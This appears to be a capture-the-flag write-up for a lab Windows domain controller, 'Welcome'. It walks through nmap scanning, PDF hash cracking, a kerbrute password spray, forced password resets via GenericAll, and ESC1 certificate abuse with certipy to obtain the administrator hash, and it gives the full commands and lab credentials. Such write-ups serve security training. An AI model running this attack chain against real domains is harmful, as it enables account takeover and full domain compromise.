← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Welcome

[OS]: Windows

[Hostname]: DC01.WELCOME.local

[IP]:10.1.18.193

[USERS]:

Administrator
Guest
krbtgt
e.hills
j.crickets
e.blanch
i.park
j.johnson
a.harris
svc_ca
svc_web

[CREDENTIALS]:

e.hills:Il0vemyj0b2025!

=========================================================================

[NMAP RESULTS]:

53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-11-17 23:22:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-11-17T23:11:53
| Not valid after:  2027-11-17T23:11:53
| MD5:     532b b888 ccf4 f84a 696d a6d7 0fa5 401d
| SHA-1:   8a2c 9098 5e1b 9066 50df ce83 3ae9 10a3 3a40 d546
|_SHA-256: 7184 a23e dea2 851a a4bf 1242 63a5 3353 9d6a d770 2349 04d0 4501 9876 42d8 92fa
|_ssl-date: 2026-11-17T23:23:21+00:00; -2s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-11-17T23:11:53
| Not valid after:  2027-11-17T23:11:53
| MD5:     532b b888 ccf4 f84a 696d a6d7 0fa5 401d
| SHA-1:   8a2c 9098 5e1b 9066 50df ce83 3ae9 10a3 3a40 d546
|_SHA-256: 7184 a23e dea2 851a a4bf 1242 63a5 3353 9d6a d770 2349 04d0 4501 9876 42d8 92fa
|_ssl-date: 2026-11-17T23:23:20+00:00; -2s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-11-17T23:23:20+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-11-17T23:11:53
| Not valid after:  2027-11-17T23:11:53
| MD5:     532b b888 ccf4 f84a 696d a6d7 0fa5 401d
| SHA-1:   8a2c 9098 5e1b 9066 50df ce83 3ae9 10a3 3a40 d546
|_SHA-256: 7184 a23e dea2 851a a4bf 1242 63a5 3353 9d6a d770 2349 04d0 4501 9876 42d8 92fa
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: WELCOME.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-11-17T23:11:53
| Not valid after:  2027-11-17T23:11:53
| MD5:     532b b888 ccf4 f84a 696d a6d7 0fa5 401d
| SHA-1:   8a2c 9098 5e1b 9066 50df ce83 3ae9 10a3 3a40 d546
|_SHA-256: 7184 a23e dea2 851a a4bf 1242 63a5 3353 9d6a d770 2349 04d0 4501 9876 42d8 92fa
|_ssl-date: 2026-11-17T23:23:21+00:00; -2s from scanner time.
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Issuer: commonName=DC01.WELCOME.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-11-16T23:20:59
| Not valid after:  2027-05-18T23:20:59
| MD5:     5fe6 924d 18fa 83de f96a 6a93 d2ed e4b8
| SHA-1:   f177 60be 51d7 574e 1ae9 5df4 2fdf 4a1e 80f1 f817
|_SHA-256: a7e4 c2d7 40a8 8ada 919b a427 f293 5bc1 1154 a7f2 b23a fd99 0f18 89e7 6a18 726b
| rdp-ntlm-info: 
|   Target_Name: WELCOME
|   NetBIOS_Domain_Name: WELCOME
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: WELCOME.local
|   DNS_Computer_Name: DC01.WELCOME.local
|   Product_Version: 10.0.20348
|_  System_Time: 2026-11-17T23:23:01+00:00
|_ssl-date: 2026-11-17T23:23:20+00:00; -2s from scanner time.
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-11-17T23:23:02
|_  start_date: N/A

=========================================================================

[SMB Services Enumeration]:

enumerated users

listing shares found on the domain

download the file found on the human resources page

Welcome Start Guide.pdf is asking for a password and we dont have it so we start enumerating more

using john the ripper we can extract the pdf hash and crack it using rockyou.txt

pdf2john <PASSWORD_PROTECTED_FILE> > hashpdf
$pdf$4*4*128*-1060*1*16*fc591b1749ad08498b60ce3a81947b8c*32*9abeeb4695a10ac7b5e6558d39ee8c8300000000000000000000000000000000*32*e3e7eecc056a1ca2a2b0298352b0970f96ff1503022a1146e322e2f215dfd6be

password : humanresources

Welcome2025!@ default password for users

running a password spray showed us the a.harris had the password so now we can get back to bloodhound to check relationships

kerbrute passwordspray -d WELCOME.local 10.1.18.193 users 'Welcome2025!@'


verifying

we find the a.harris is a member of the HR group which has GenericAll permission which would allow us to take complete control over the target AD object.

=========================================================================

[OTHER / PRIVILEGE-ESCALATION]:

Getting a access as i.park
since we are a part of the groups that has GenericAll permission over the user we can abuse this and force change the users password.

changing i.park password to -> Password123!@

then we see here i.park is a member of the helpdesk group which had force change password on SVC_CA and SVC_WEB.

successfully was able to change the account password to Password123!@

bloodyad --host $IP -d "WELCOME.local" -u 'i.park' -p 'Password123!@' set password 'svc_ca' 'Password123!@'


using certipy we try to find any certificates that are vulnerable and we find that it is vulnerable to ESC1 which would allow us to request any user UPN

ESC1

Template name

requesting the administrator UPN

certipy req -u 'svc_ca' -p 'Password123!@' -ca 'WELCOME-CA' -template 'Welcome-Template' -upn 'administrator@WELCOME.local' -dc-ip $IP -target DC01.WELCOME.local


certipy auth -pfx administrator.pfx -dc-ip $IP 

authorizing the administrator.pfx file

'administrator@welcome.local': aad3b435b51404eeaad3b435b51404ee:0cf1b799460a39c852068b7c0574677a

there we go we got the the hash and we were able to authenticate as administrator.

← BACK TO WRITEUPSMAZEN. / HOME